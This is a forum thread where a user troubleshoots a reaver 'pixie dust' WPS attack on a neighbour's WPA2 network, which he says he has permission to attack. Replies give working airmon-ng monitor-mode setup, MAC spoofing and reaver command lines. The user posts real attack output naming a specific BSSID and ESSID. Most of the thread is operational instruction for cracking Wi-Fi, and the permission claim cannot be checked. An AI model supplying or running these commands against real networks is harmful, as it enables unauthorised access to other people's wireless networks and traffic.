Problem associating with wpa2 network

[hotshot247]

Just for the record, I have a friend next door who gave me permission to hack his network. I asked him if I could use it for the time being and he told me that I could use it if I hacked it because he wanted to set if I could do it, lol but anyways, to the point.. He has a WPA2 network with WPS enabled and I was trying to use reaver's pixie dust attack on it which I've done before numerous times but this network has a hard time associating with it for some reason even though the wifi signal has between 4 and 5 bars all the time. I'm also using kali linux 2.0. Any help would be great! Thanks!

Try this:

airmon-ng check kill
ifconfig wlan0 down
ifconfig wlan0 hw ether 00:11:22:33:44:55
ifconfig wlan0 up
airmon-ng start wlan0

Blacklist wlanX & monX by adding the interface names to /etc/network/interfaces.

service network-manager start

reaver -i mon0 -c <AP_Channel> -b <BSSID_of_target> -vvv -P --mac=00:11:22:33:44:55

hey, thanks for the input but for some reason, it's still doing it. here is exactly what it says
root@kali:~# reaver -i wlan1mon -c 6 -b 88:F7:C7:3A:63:72 -vvv -P --mac=00:11:22:33:44:55 -K 1

[!] WARNING: Failed to associate with 88:F7:C7:3A:63:72 (ESSID: Christina2) and then the last line that says "WARNING: failed to associate......", that just keeps repeating over and over. it's weird that it won't associate with it even though i'm right next door.

The commands I posted work for me, does the attack work if you don't spoof your mac address?.
Use macchanger to check you're not spoofing your mac address.
